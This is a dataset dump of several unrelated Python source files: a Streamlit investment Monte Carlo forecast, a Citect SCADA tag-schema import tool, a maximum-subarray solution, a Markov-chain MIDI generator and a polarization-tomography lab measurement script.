st.subheader(\"**Monte Carlo simulation to forecast next years cumulative returns**\")\n\n st.plotly_chart(fig, use_container_width=True)\n\n st.subheader(\"Summary statistics and distribution from the MC results\")\n st.subheader(\" \")\n colForecast1, colForecast2 = st.columns(2)\n with colForecast1:\n dist_plot = MC_thirtyyear.plot_distribution()\n st.pyplot(dist_plot)\n with colForecast2:\n tbl = MC_thirtyyear.summarize_cumulative_return()\n # tbl = pd.read_csv(\"data/metrics_mttc.csv\")\n st.text(tbl)\n\n start_date = date.today()\n end_date = start_date + datetime.timedelta(days=int(forecast_year)*252)\n\n if invest_value == 0:\n projected_returns = portfolio_cumulative_returns.quantile([ 0.025,0.50, 0.975], axis = 1).T\n else: \n projected_returns = portfolio_cumulative_returns.quantile([ 0.025,0.50, 0.975], axis = 1).T\n projected_returns = projected_returns * principal \n\n fig = go.Figure()\n\n fig.add_trace(\n go.Scatter(\n x=projected_returns.index, \n y=projected_returns[0.025],\n name=\"95% lower confidence intervals\"\n )\n )\n fig.add_trace(\n go.Scatter(\n x=projected_returns.index, \n y=projected_returns[0.50],\n name=\"Mean forecast\"\n )\n )\n fig.add_trace(\n go.Scatter(\n x=projected_returns.index, \n y=projected_returns[0.975],\n name=\"95% upper confidence intervals\"\n )\n )\n\n fig.update_layout(\n # title='Monte Carlo Simulations',\n xaxis_title='Days',\n yaxis_title='Amount(€)',\n showlegend=False\n )\n st.subheader(\"Monte Carlo results\")\n st.plotly_chart(fig, use_container_width=True)\n \n principal = invest_value\n\n ci_lower = round(tbl[8]*principal,2)\n ci_upper = round(tbl[9]*principal,2)\n mean_value = round(tbl[1]*principal,2)\n\n st.write(f\"Over the next **{int(forecast_year)}** years the mean forecasted value for an initial investment of {principal}€ will be around **{mean_value}€**, an increase on your initial investment of **{np.round(((mean_value - principal)/principal)*100, 2)}%**.\")\n st.write(f\"There is a **95%** chance that an initial investment of {principal}€ in the portfolio over the next {int(forecast_year)} years will end within in the range of **{ci_lower}€** and **{ci_upper}€**. This means a variation between **{np.round(((ci_lower - principal)/principal)*100, 2)}%** and **{np.round(((ci_upper- principal)/principal)*100, 2)}%**\")\n\n\n\n# df_allocation_test = np.format_float_positional(df_allocation_test*100)\n# st.table(df_allocation_test.style.format(\"{:.2}\"))\n\n","sub_path":"invest_risk.py","file_name":"invest_risk.py","file_ext":"py","file_size_in_byte":13291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"344871438","text":"#!/usr/bin/env python3\n'''Retrieve and print schema from a variable.dbf file\n save a default config file\n process default config file on 2nd run writeing changes back to csv file\n Note: uses 3rd party library https://pypi.org/project/dbf/ to read in variable.dbf\n from terminal >pip install -r requirements.txt\n\nUsage:\n python3 Main-import-variables.py filename eg C:\\\\ProgramData\\\\Schneider Electric\\\\Citect SCADA 2018\\\\User\\\\Example\n --on 2nd run\n python3 Mail-import-variables {path} --> read in mapping.ini under {path} and\n create *-working.csv files containing equipment field changes\n which can be imported into project using Citect Studio import\n'''\n\nimport sys\nimport find_equip_and_tree\nimport read_in_tree_structure\nimport os.path\nimport write_read_config_file\nimport encode_decode_map_schema\nimport read_write_dbf\nimport read_write_project_structure\nimport friendly_name_lookup\nimport read_csv_file\n\n\ndef map_dbf_to_csv(file_path):\n print('Converting .dbf files to .csv files')\n\n # find master.dbf\n master_file_path = file_path[0:file_path.rfind('\\\\')]\n master_file = master_file_path + '\\\\master.dbf'\n\n # build know project name vs project path\n dbf_file_exists = os.path.isfile(master_file)\n if dbf_file_exists:\n master_list, _ = read_write_dbf.read_in_dbf(master_file)\n master_project_name = read_write_project_structure.find_name_for_path(master_list, file_path)\n\n # mark master project to be read for included projects\n master_list = read_write_project_structure.\\\n write_field_value(master_list, master_project_name, 'include_read_in_status', 1)\n\n # make flat list of projects\n master_list = read_write_project_structure.read_through_include_files(master_list)\n project_list = list()\n for record in master_list:\n if record['include_read_in_status'][1] == 2:\n project_list.append(record['name'][1])\n\n print('-Include files read. list of projects to convert is {}'.format(project_list))\n\n # read in friendly name\n dbf_csv_lookup_dict = friendly_name_lookup.build_field_friendly_name_lookup(file_path)\n\n # export all dbf files to convert. csvs will be stored in master and include data from all includes projects\n # note system includes excluded\n read_write_dbf.convert_dbf_to_csv_in_project_list(master_list, project_list, file_path, dbf_csv_lookup_dict)\n\n print('Completed dbf export to csv files in master and include projects')\n\n\ndef update_csv_files(file_path, config_file):\n print('Updating csv files with new equipment references')\n print('- reading in mapping.ini file')\n map_schema, area_map, equipment_map_dict, equipment_type_map_dict, item_type_map_dict, area_prefix_map_dict = \\\n write_read_config_file.read_config_file(config_file)\n\n # write to tag csvs and outut equip list\n equip_list = read_in_tree_structure.update_tag_csvs(map_schema, area_map, file_path, equipment_map_dict,\n equipment_type_map_dict, item_type_map_dict, area_prefix_map_dict)\n\n # write to equip.csv\n read_in_tree_structure.update_equipment_csv(file_path, equip_list)\n\n # read_in_tree_structure.replace_original_csv(file_path)\n print('Update of csvs complete')\n\n # for dev purposes only\n # verify generated files header against exported files header ie *-citect.csv\n file_list = read_in_tree_structure.get_file_list()\n for csv_file_name in file_list:\n citect_file = csv_file_name[0:csv_file_name.rfind('.')] + '-citect.csv'\n if os.path.isfile(file_path + '\\\\' + citect_file):\n print('-searching for header match for file {}'.format(csv_file_name))\n header_is_valid = read_csv_file.test_compare_file_headers(file_path, csv_file_name, citect_file)\n if header_is_valid:\n header_is_valid = read_csv_file.test_compare_file_headers(file_path, citect_file, csv_file_name)\n\n if header_is_valid:\n print('----file {} is valid'.format(csv_file_name))\n\n print('Ready to import csv files in master project folder using Citect Studio import feature')\n\n\ndef get_schema_and_create_config_file(file_path, config_file):\n print('Building Equipment Schema')\n file_name = file_path + \"\\\\variable.csv\"\n\n # get header file\n header = read_in_tree_structure.read_first_line(file_name)\n\n if 'tag name' not in header:\n print('tag name, not found in file {}'.format(file_name))\n return\n\n loc_tagname = header.index('tag name')\n\n if 'cluster name' not in header:\n print('cluster name, not found in file {}'.format(file_name))\n return\n\n loc_cluster = header.index('cluster name')\n\n # get most common schema\n max_count = 8000000 # limit read in while testing\n top_schema = find_equip_and_tree.read_in_schema(file_name, loc_tagname, max_count)\n print('schema = {}'.format(top_schema))\n\n # get position of equipment type\n mode = 1 # 1 character area designation\n percent_filter = 92\n data_base = find_equip_and_tree.find_equip_type_position_and_import_data(\n file_name, loc_tagname, loc_cluster, max_count, top_schema, mode, percent_filter)\n\n equip_level_tree = data_base[0][0]\n if equip_level_tree >= 0:\n print('-equipment is located at position {} in the schema'.format(equip_level_tree + 1))\n\n # is 2 character mode needed\n first_level_tree = data_base[0][1]\n if first_level_tree < 0: # try 2ch mode\n print('-try find equip position and first area in 2ch numeric mode')\n mode = 2 # chr area designation\n percent_filter = 98\n data_base = find_equip_and_tree.find_equip_type_position_and_import_data(\n file_name, loc_tagname, loc_cluster, max_count, top_schema, mode, percent_filter)\n\n # get area hierarchy\n if first_level_tree >= 0:\n score_filter = 90\n data_base = find_equip_and_tree.find_tree(file_name, top_schema, data_base, loc_tagname, loc_cluster,\n max_count, mode, score_filter, percent_filter)\n\n # sanitise area list order\n first_level_tree = data_base[0][1]\n second_level_tree = data_base[0][2]\n if second_level_tree >= 0:\n if second_level_tree < first_level_tree:\n # re read and make second_level_tree => first_level_tree\n data_base = find_equip_and_tree.find_equip_type_position_and_import_data(\n file_name, loc_tagname, loc_cluster, max_count, top_schema, mode, percent_filter)\n data_base[0][1] = second_level_tree\n # get area hierarchy again\n score_filter = 90\n data_base = find_equip_and_tree.find_tree(file_name, top_schema, data_base, loc_tagname, loc_cluster,\n max_count, mode, score_filter, percent_filter)\n\n first_level_tree = data_base[0][1]\n second_level_tree = data_base[0][2]\n third_level_tree = data_base[0][3]\n fourth_level_tree = data_base[0][4]\n\n if fourth_level_tree < third_level_tree:\n fourth_level_tree = -1\n\n if third_level_tree < second_level_tree:\n third_level_tree = -1\n fourth_level_tree = -1\n\n if second_level_tree < first_level_tree:\n second_level_tree = -1\n third_level_tree = -1\n fourth_level_tree = -1\n\n # sanitise area list spaceing\n area_spacing = second_level_tree - first_level_tree\n if area_spacing < third_level_tree - second_level_tree:\n third_level_tree = -1\n fourth_level_tree = -1\n\n if area_spacing < fourth_level_tree - third_level_tree:\n fourth_level_tree = -1\n\n # find the item name\n # -re read in equipment\n data_base[0][1] = first_level_tree\n data_base[0][2] = second_level_tree\n data_base[0][3] = third_level_tree\n data_base[0][4] = fourth_level_tree\n\n # - create a map schema\n is_item_found = 0\n if first_level_tree >= 0:\n data_base, is_item_found = find_equip_and_tree.find_item(file_name, loc_tagname, loc_cluster,\n max_count, top_schema, data_base, mode)\n\n equip_level_tree = data_base[0][0]\n first_level_tree = data_base[0][1]\n second_level_tree = data_base[0][2]\n third_level_tree = data_base[0][3]\n fourth_level_tree = data_base[0][4]\n last_digit = data_base[0][5]\n if last_digit < fourth_level_tree + mode - 1 \\\n or last_digit < third_level_tree + mode - 1 \\\n or last_digit < second_level_tree + mode - 1 \\\n or last_digit < first_level_tree + mode - 1 \\\n or last_digit < equip_level_tree:\n print('Warning equip number part start is before area digit')\n\n if is_item_found:\n data_base = find_equip_and_tree.find_equipment(top_schema, data_base)\n equip_num_start = data_base[0][6]\n equip_num_end = data_base[0][7]\n print('- equip digit found from position {} to position {}'.format(equip_num_start + 1, equip_num_end + 1))\n\n last_digit = data_base[0][5]\n print('- item found from position {}'.format(last_digit + 1))\n\n # print final tree\n print('-first level is at schema position {}'.format(first_level_tree + 1)) # convert to 1 base\n if second_level_tree >= 0:\n print('-second level is at schema position {}'.format(second_level_tree + 1)) # convert to 1 base\n if third_level_tree >= 0:\n print('-third level is at schema position {}'.format(third_level_tree + 1)) # convert to 1 base\n if fourth_level_tree >= 0:\n print('-fourth level is at schema position {}'.format(fourth_level_tree + 1)) # convert to 1 base\n\n # generate map schema\n matrix0 = data_base[0]\n map_schema = encode_decode_map_schema.encode_mapping_schema(matrix0, mode, top_schema)\n\n # generate config file\n print('Creating mapping file at path given')\n print('-map schema {}'.format(map_schema))\n\n # - create an equipment tree based on found schema so we can create a file for mapping\n data_base = read_in_tree_structure.get_equipment_tree(file_name, loc_tagname, loc_cluster,\n max_count, map_schema, data_base, mode)\n\n area_list = sorted(data_base[1][0]) # cluster: Area.Area\n equip_type_list = sorted(data_base[3]) # equipment types\n item_type_list = sorted(data_base[2]) # item types\n write_read_config_file.write_config(config_file, map_schema, area_list, equip_type_list, item_type_list)\n print('Mapping file writen for schema found')\n else:\n write_read_config_file.write_config(config_file, 'AEXNNxI', [], [], [])\n print('Error Schema not found. Default mapping file writen. Please manually edit')\n\n\ndef main(file_path=''):\n if file_path == '':\n # file_path = 'D:\\\\Import\\\\example' # set a default file name\n file_path = 'D:\\\\Import\\\\site1' # set a default file name\n # file_path = 'C:\\\\ProgramData\\\\Schneider Electric\\\\Citect SCADA 2018\\\\User\\\\examplename\\\\'\n\n print('Argument not entered. using default {}'.format(file_path))\n\n file_path = file_path.rstrip('\\\\')\n\n # look for variables.dbf\n dbf_file = file_path + '\\\\variable.dbf'\n dbf_file_exists = os.path.isfile(dbf_file)\n if dbf_file_exists:\n map_dbf_to_csv(file_path) # todo move this to next if statement.\n\n config_file = file_path + '\\\\mapping.ini'\n config_file_exists = os.path.isfile(config_file)\n # config_file_exists = False # for testing. force re-generation of config file\n if not config_file_exists:\n get_schema_and_create_config_file(file_path, config_file)\n else:\n update_csv_files(file_path, config_file)\n\n\nif __name__ == '__main__':\n # This is executed when called from the command line nloc_iodevot repel\n try:\n project_file_path = sys.argv[1] # The 0th arg is the module file name.\n except IndexError as error:\n project_file_path = ''\n\n main(project_file_path)\n","sub_path":"Main-import-variables.py","file_name":"Main-import-variables.py","file_ext":"py","file_size_in_byte":12236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"641908385","text":"from sys import maxint\nclass Solution(object):\n def maxSubArray_DP(self, nums):\n tmpsum, maxsum = 0, -maxint-1\n for i in nums:\n tmpsum += i\n tmpsum, maxsum = max(tmpsum, 0), max(maxsum, tmpsum)\n return maxsum\n\n def maxSubArray_DAC(self, nums):\n def DAC(bottom, top):\n if top == bottom+1:\n return nums[bottom]*4\n middle = (bottom+top)/2\n leftleft, leftall, leftright, leftmax = DAC(bottom, middle)\n rightleft, rightall, rightright, rightmax = DAC(middle, top)\n left, right = max(leftleft, leftall+rightleft), max(rightright, rightall+leftright)\n allsum = leftall+rightall\n maxsum = max(leftright+rightleft, leftmax, rightmax)\n return [left, allsum, right, maxsum]\n return max(DAC(0, len(nums)))","sub_path":"Maximum_Subarray.py","file_name":"Maximum_Subarray.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"437617209","text":"#!/usr/bin/env python3\n# This class handles the generation of a new song given a markov chain\n# containing the note transitions and their frequencies.\nimport argparse\nimport mido\n\nfrom markov_chain import MarkovChain\nfrom midi_parser import MidiParser\n\n\nclass Generator:\n def __init__(self, markov_chain):\n self.markov_chain = markov_chain\n\n @staticmethod\n def load(markov_chain):\n assert isinstance(markov_chain, MarkovChain)\n return Generator(markov_chain)\n\n def _note_to_messages(self, note):\n return [\n mido.Message(\"note_on\", note=note.note, velocity=127, time=0),\n mido.Message(\"note_off\", note=note.note, velocity=0, time=note.duration),\n ]\n\n def generate(self, filename, numtracks):\n with mido.midifiles.MidiFile() as midi:\n for tracknum in range(numtracks):\n track = mido.MidiTrack()\n last_note = None\n # Generate a sequence of 100 notes\n for i in range(100):\n new_note = self.markov_chain.get_next(last_note)\n track.extend(self._note_to_messages(new_note))\n midi.tracks.append(track)\n midi.save(filename)\n\n\nif __name__ == \"__main__\":\n # Example usage:\n # python generator.py \n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"infile\", metavar=\"in.mid\", help=\"The midi input file\")\n parser.add_argument(\n \"outfile\", metavar=\"out.mid\", help=\"Where to put the generated midi file\"\n )\n parser.add_argument(\n \"-n\", dest=\"numtracks\", help=\"How many tracks to generate\", default=1, type=int\n )\n\n args = parser.parse_args()\n\n chain = MidiParser(args.infile).get_chain()\n Generator.load(chain).generate(args.outfile, args.numtracks)\n print(\"Generated markov chain at file\", args.outfile)\n","sub_path":"src/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"648618388","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 19 21:29:12 2017\n\n@author: Giulio Foletto 2\n\"\"\"\n\n#necessary imports\nimport sys\nsys.path.append('..')\nsys.path.append('../..')\nimport time\nfrom ThorCon import ThorCon\nimport numpy as np\nimport instruments as ik\nimport qutip\nimport json\n\nsys.path.append('/home/sagnac/Quantum/ttag/python/')\nimport ttag\n\nfrom pyThorPM100.pm100 import pm100d\n\n#functions that set apparatus to specific settings\ndef setangle(rotator, angle, angleErr):\n if abs(rotator.position()-angle)> angleErr:\n rotator.goto(angle, wait=True)\n\ndef setvoltage(lcc, voltage, voltageErr):\n if abs(float(lcc.voltage1) - voltage) > voltageErr:\n lcc.voltage1=voltage\n\nif len(sys.argv) >1:\n filename = str(sys.argv[1])\nelse:\n filename ='settings.json'\nif filename[-5:]!=\".json\":\n filename +=\".json\"\n\nwith open(filename) as json_settings:\n settings = json.load(json_settings)\n json_settings.close()\n\nif len(sys.argv) >2:\n outputfilename = str(sys.argv[2])\nelse:\n outputfilename=settings[\"outputFileName\"]\nif outputfilename[-4:]==\".txt\":\n outputfilename =outputfilename[:-4]\n\noutputfilename+=\"TekkCorrection\"\noutputfilename+=\".txt\"\n\noutputFile=open(outputfilename, \"w\")\nprint(\"Results for TekkCorrection protocol\", file = outputFile)\n\n#useful values\nallowTime=settings[\"allowTime\"]\nangleErr=settings[\"angleErr\"]\nvoltageErr = settings[\"voltageErr\"]\nhome = settings[\"home\"]\nsensor = settings[\"sensor\"]\n\n#pwm configuration and initialization\npwmAverage=settings[\"pwmAverage\"]\npwmWait=settings[\"pwmWait\"]\nif sensor == \"pwm\" or sensor == \"PWM\":\n print(\"Initializing PWM\")\n pwm = pm100d()\n\n#SPAD configuration and initialization\nspadBufNum =settings[\"spadBufNum\"]\nspadDelayA=settings[\"spadDelayA\"]\nspadDelayB=settings[\"spadDelayB\"]\nspadDelayA = spadDelayA*1e-9\nspadDelayB = spadDelayB*1e-9\nspadChannelA=settings[\"spadChannelA\"]\nspadChannelB=settings[\"spadChannelB\"]\ndelayarray = np.array([0.0, 0.0, 0.0,0.0])\ndelayarray[spadChannelA]=spadDelayA\ndelayarray[spadChannelB]=spadDelayB\nspadExpTime = settings[\"spadExpTime\"]\nspadExpTime = spadExpTime*1e-3\ncoincWindow = 1*1e-9\nif sensor == \"spad\" or sensor == \"SPAD\":\n print(\"Initializing SPAD\")\n ttagBuf = ttag.TTBuffer(spadBufNum) \n\n#LCC1 configuration and initialization\nprint(\"Initializing LCC1\")\nport1=settings[\"port1\"]\nlcc1 = ik.thorlabs.LCC25.open_serial(port1, 115200,timeout=1)\nlcc1.mode = lcc1.Mode.voltage1\nlcc1.enable = True\n\n#LLC2 configuration and initialization\nprint(\"Initializing LCC2\")\nport2=settings[\"port2\"]\nlcc2 = ik.thorlabs.LCC25.open_serial(port2, 115200,timeout=1)\nlcc2.mode = lcc2.Mode.voltage1\nlcc2.enable = True\n\n#ROT1 configuration and initialization\nprint(\"Initializing ROT1\")\nrot1SN = settings[\"rot1SN\"]\nrot1 = ThorCon(serial_number=rot1SN)\nif home:\n rot1.home()\n\n#ROT2 configuration and initialization\nprint(\"Initializing ROT2\")\nrot2SN = settings[\"rot2SN\"]\nrot2 = ThorCon(serial_number=rot2SN)\nif home:\n rot2.home()\n\n#ROTHWP configuration and initialization\nprint(\"Initializing ROTHWP\")\nrotHWPSN= settings[\"rotHWPSN\"]\nrotHWP = ThorCon(serial_number=rotHWPSN)\nif home:\n rotHWP.home() #beware of bug in rotator\n\n#ROTQWP configuration and initialization\nprint(\"Initializing ROTQWP\")\nrotQWPSN= settings[\"rotQWPSN\"]\nrotQWP = ThorCon(serial_number=rotQWPSN)\nif home:\n rotQWP.home()\n\nprint(\"Finished initialization\\n\\n\")\n#calibration values for ROT1\nrot1Angle0=settings[\"rot1Angle0\"]\nrot1Angle90=settings[\"rot1Angle90\"]\nrot1Angle180=settings[\"rot1Angle180\"]\nrot1Angle270=settings[\"rot1Angle270\"]\n\n#calibration values for LCC1\nlcc1Voltage0=settings[\"lcc1Voltage0\"]\nlcc1Voltage90=settings[\"lcc1Voltage90\"]\nlcc1Voltage180=settings[\"lcc1Voltage180\"]\nlcc1Voltage270=settings[\"lcc1Voltage270\"]\n\n#calibration values for ROT2\nrot2Angle0=settings[\"rot2Angle0\"]\nrot2Angle90=settings[\"rot2Angle90\"]\nrot2Angle180=settings[\"rot2Angle180\"]\nrot2Angle270=settings[\"rot2Angle270\"]\n\n#calibration values for LCC2\nlcc2Voltage0=settings[\"lcc2Voltage0\"]\nlcc2Voltage90=settings[\"lcc2Voltage90\"]\nlcc2Voltage180=settings[\"lcc2Voltage180\"]\nlcc2Voltage270=settings[\"lcc2Voltage270\"]\n\n#calibration values for ROTHWP\nrotHWPAngle0=settings[\"rotHWPAngle0\"]\nrotHWPAngle45=settings[\"rotHWPAngle45\"]\nrotHWPAngle225=settings[\"rotHWPAngle225\"]\nrotHWPAngle675=settings[\"rotHWPAngle675\"]\n\n#calibration values for ROTQWP\nrotQWPAngle0=settings[\"rotQWPAngle0\"]\nrotQWPAngle45=settings[\"rotQWPAngle45\"]\nrotQWPAngle90=settings[\"rotQWPAngle90\"]\n\n#functions that implements settings\ndef measure(rot1angle, rot2angle, rotHWPangle, rotQWPangle, lcc1voltage, lcc2voltage):\n setangle(rot1, rot1angle, angleErr)\n setangle(rot2, rot2angle, angleErr)\n setangle(rotHWP, rotHWPangle, angleErr)\n setangle(rotQWP, rotQWPangle, angleErr)\n setvoltage(lcc1, lcc1voltage, voltageErr)\n setvoltage(lcc2, lcc2voltage, voltageErr)\n time.sleep(allowTime)\n if sensor == \"spad\" or sensor == \"SPAD\":\n time.sleep(spadExpTime)\n if spadChannelA == spadChannelB:\n singles = ttagBuf.singles(spadExpTime)\n result=float(singles[spadChannelA])\n else:\n coincidences = ttagBuf.coincidences(spadExpTime,coincWindow,-delayarray)\n result= float(coincidences[spadChannelA, spadChannelB])\n elif sensor == \"pwm\" or sensor == \"PWM\":\n singleMeasure = np.zeros(pwmAverage)\n for j in range(pwmAverage):\n time.sleep(pwmWait)\n p = max(pwm.read()*1000, 0.)\n singleMeasure[j] = p\n result = np.mean(singleMeasure)\n return result\n\nresultdata={}\ninput(\"Please unblock all paths, then press Enter\")\n#measurement on D for normalization\nprint(\"Measuring D for normalization\")\ncountDId = measure(rot1Angle0, rot2Angle270, rotHWPAngle675, rotQWPAngle45, lcc1Voltage0, lcc2Voltage270)\nresultdata.update({\"CDRaw\": countDId, \"CD\": 4*countDId})\nprint(\"Counts for D = \", countDId)\nprint(\"Counts for D = \", countDId, file = outputFile)\n\n#Measurement on A for normalization\nprint(\"Measuring A for normalization\")\ncountAId = measure(rot1Angle0, rot2Angle270, rotHWPAngle225, rotQWPAngle45, lcc1Voltage0, lcc2Voltage270)\nresultdata.update({\"CARaw\": countAId, \"CA\": 4*countAId})\nprint(\"Counts for A = \", countAId)\nprint(\"Counts for A = \", countAId, file = outputFile)\n\nnormconstant= 4*(countDId+countAId)\nresultdata.update({\"NormConstant\": normconstant})\n\nprint(\"\\n\\n\\n\")\nprint(\"\\n\\n\\n\", file = outputFile)\n\n#measurement of DV\ninput(\"Please block A path, unblock H, V, D, then press Enter\")\nprint(\"Measuring DV for Re(HH)\")\nCDVHH= measure(rot1Angle0, rot2Angle0, rotHWPAngle45, rotQWPAngle0, lcc1Voltage0, lcc2Voltage0)\nprint(\"Counts for DV for Re(HH) = \", CDVHH, \"\\tNormalized to diagonal = \", 2*CDVHH/normconstant)\nprint(\"Counts for DV for Re(HH) = \", CDVHH, \"\\tNormalized to diagonal = \", 2*CDVHH/normconstant, file = outputFile)\nresultdata.update({\"CDVHHRaw\": CDVHH})\nCDVHH *=2\nresultdata.update({\"CDVHH\": CDVHH})\n\n#measurement of DV\n#input(\"Please block A path, unblock H, V, D, then press Enter\")\nprint(\"Measuring DV for Re(VH)\")\nCDVVH= measure(rot1Angle0, rot2Angle0, rotHWPAngle45, rotQWPAngle0, lcc1Voltage0, lcc2Voltage0)\nprint(\"Counts for DV for Re(VH) = \", CDVVH, \"\\tNormalized to diagonal = \", 2*CDVVH/normconstant)\nprint(\"Counts for DV for Re(VH) = \", CDVVH, \"\\tNormalized to diagonal = \", 2*CDVVH/normconstant, file = outputFile)\nresultdata.update({\"CDVVHRaw\": CDVVH})\nCDVVH *=2\nresultdata.update({\"CDVVH\": CDVVH})\n\n#measurement of RV\nprint(\"Measuring RV for Im(HH)\")\nCRVHH= measure(rot1Angle270, rot2Angle0, rotHWPAngle45, rotQWPAngle0, lcc1Voltage270, lcc2Voltage0)\nprint(\"Counts for RV for Im(HH) = \", CRVHH, \"\\tNormalized to diagonal = \", 2*CRVHH/normconstant)\nprint(\"Counts for RV for Im(HH) = \", CRVHH, \"\\tNormalized to diagonal = \", 2*CRVHH/normconstant, file = outputFile)\nresultdata.update({\"CRVHHRaw\": CRVHH})\nCRVHH *=2\nresultdata.update({\"CRVHH\": CRVHH})\n\n#measurement of LV\n#input(\"Please block A path, unblock H, V, D, then press Enter\")\nprint(\"Measuring LV for Im(VH)\")\nCLVVH= measure(rot1Angle270, rot2Angle0, rotHWPAngle45, rotQWPAngle0, lcc1Voltage270, lcc2Voltage0)\nprint(\"Counts for LV for Im(VH) = \", CLVVH, \"\\tNormalized to diagonal = \", 2*CLVVH/normconstant)\nprint(\"Counts for LV for Im(VH) = \", CLVVH, \"\\tNormalized to diagonal = \", 2*CLVVH/normconstant, file = outputFile)\nresultdata.update({\"CLVVHRaw\": CLVVH})\nCLVVH *=2\nresultdata.update({\"CLVVH\": CLVVH})\n\n#measurement of AV\nprint(\"Measuring AV for Re(HH)\")\nCAVHH= measure(rot1Angle180, rot2Angle0, rotHWPAngle45, rotQWPAngle0, lcc1Voltage180, lcc2Voltage0)\nprint(\"Counts for AV for Re(HH) = \", CAVHH, \"\\tNormalized to diagonal = \", 2*CAVHH/normconstant)\nprint(\"Counts for AV for Re(HH) = \", CAVHH, \"\\tNormalized to diagonal = \", 2*CAVHH/normconstant, file = outputFile)\nresultdata.update({\"CAVHHRaw\": CAVHH})\nCAVHH *=2\nresultdata.update({\"CAVHH\": CAVHH})\n\n#measurement of AV\nprint(\"Measuring AV for Re(VH)\")\nCAVVH= measure(rot1Angle180, rot2Angle0, rotHWPAngle45, rotQWPAngle0, lcc1Voltage180, lcc2Voltage0)\nprint(\"Counts for AV for Re(VH) = \", CAVVH, \"\\tNormalized to diagonal = \", 2*CAVVH/normconstant)\nprint(\"Counts for AV for Re(VH) = \", CAVVH, \"\\tNormalized to diagonal = \", 2*CAVVH/normconstant, file = outputFile)\nresultdata.update({\"CAVVHRaw\": CAVVH})\nCAVVH *=2\nresultdata.update({\"CAVVH\": CAVVH})\n\n#measurement of LV\n#input(\"Please block A path, unblock H, V, D, then press Enter\")\nprint(\"Measuring LV for Im(HH)\")\nCLVHH= measure(rot1Angle90, rot2Angle0, rotHWPAngle45, rotQWPAngle0, lcc1Voltage90, lcc2Voltage0)\nprint(\"Counts for LV for Im(HH) = \", CLVHH, \"\\tNormalized to diagonal = \", 2*CLVHH/normconstant)\nprint(\"Counts for LV for Im(HH) = \", CLVHH, \"\\tNormalized to diagonal = \", 2*CLVHH/normconstant, file = outputFile)\nresultdata.update({\"CLVHHRaw\": CLVHH})\nCLVHH *=2\nresultdata.update({\"CLVHH\": CLVHH})\n\n#measurement of RV\nprint(\"Measuring RV for Im(VH)\")\nCRVVH= measure(rot1Angle90, rot2Angle0, rotHWPAngle45, rotQWPAngle0, lcc1Voltage90, lcc2Voltage0)\nprint(\"Counts for RV for Im(VH) = \", CRVVH, \"\\tNormalized to diagonal = \", 2*CRVVH/normconstant)\nprint(\"Counts for RV for Im(VH) = \", CRVVH, \"\\tNormalized to diagonal = \", 2*CRVVH/normconstant, file = outputFile)\nresultdata.update({\"CRVVHRaw\": CRVVH})\nCRVVH *=2\nresultdata.update({\"CRVVH\": CRVVH})\n\n#measurement of LV\n#input(\"Please block A path, unblock H, V, D, then press Enter\")\nprint(\"Measuring LV for Im(HV)\")\nCLVHV= measure(rot1Angle90, rot2Angle0, rotHWPAngle0, rotQWPAngle0, lcc1Voltage90, lcc2Voltage0)\nprint(\"Counts for LV for Im(HV) = \", CLVHV, \"\\tNormalized to diagonal = \", 2*CLVHV/normconstant)\nprint(\"Counts for LV for Im(HV) = \", CLVHV, \"\\tNormalized to diagonal = \", 2*CLVHV/normconstant, file = outputFile)\nresultdata.update({\"CLVHVRaw\": CLVHV})\nCLVHV *=2\nresultdata.update({\"CLVHV\": CLVHV})\n\n#measurement of RV\nprint(\"Measuring RV for Im(VV)\")\nCRVVV= measure(rot1Angle90, rot2Angle0, rotHWPAngle0, rotQWPAngle0, lcc1Voltage90, lcc2Voltage0)\nprint(\"Counts for RV for Im(VV) = \", CRVVV, \"\\tNormalized to diagonal = \", 2*CRVVV/normconstant)\nprint(\"Counts for RV for Im(VV) = \", CRVVV, \"\\tNormalized to diagonal = \", 2*CRVVV/normconstant, file = outputFile)\nresultdata.update({\"CRVVVRaw\": CRVVV})\nCRVVV *=2\nresultdata.update({\"CRVVV\": CRVVV})\n\n#measurement of AV\nprint(\"Measuring AV for Re(HV)\")\nCAVHV= measure(rot1Angle180, rot2Angle0, rotHWPAngle0, rotQWPAngle0, lcc1Voltage180, lcc2Voltage0)\nprint(\"Counts for AV for Re(HV) = \", CAVHV, \"\\tNormalized to diagonal = \", 2*CAVHV/normconstant)\nprint(\"Counts for AV for Re(HV) = \", CAVHV, \"\\tNormalized to diagonal = \", 2*CAVHV/normconstant, file = outputFile)\nresultdata.update({\"CAVHVRaw\": CAVHV})\nCAVHV *=2\nresultdata.update({\"CAVHV\": CAVHV})\n\n#measurement of AV\nprint(\"Measuring AV for Re(VV)\")\nCAVVV= measure(rot1Angle180, rot2Angle0, rotHWPAngle0, rotQWPAngle0, lcc1Voltage180, lcc2Voltage0)\nprint(\"Counts for AV for Re(VV) = \", CAVVV, \"\\tNormalized to diagonal = \", 2*CAVVV/normconstant)\nprint(\"Counts for AV for Re(VV) = \", CAVVV, \"\\tNormalized to diagonal = \", 2*CAVVV/normconstant, file = outputFile)\nresultdata.update({\"CAVVVRaw\": CAVVV})\nCAVVV *=2\nresultdata.update({\"CAVVV\": CAVVV})\n\n#measurement of DV\n#input(\"Please block A path, unblock H, V, D, then press Enter\")\nprint(\"Measuring DV for Re(HV)\")\nCDVHV= measure(rot1Angle0, rot2Angle0, rotHWPAngle0, rotQWPAngle0, lcc1Voltage0, lcc2Voltage0)\nprint(\"Counts for DV for Re(HV) = \", CDVHV, \"\\tNormalized to diagonal = \", 2*CDVHV/normconstant)\nprint(\"Counts for DV for Re(HV) = \", CDVHV, \"\\tNormalized to diagonal = \", 2*CDVHV/normconstant, file = outputFile)\nresultdata.update({\"CDVHVRaw\": CDVHV})\nCDVHV *=2\nresultdata.update({\"CDVHV\": CDVHV})\n\n#measurement of DV\n#input(\"Please block A path, unblock H, V, D, then press Enter\")\nprint(\"Measuring DV for Re(VV)\")\nCDVVV= measure(rot1Angle0, rot2Angle0, rotHWPAngle0, rotQWPAngle0, lcc1Voltage0, 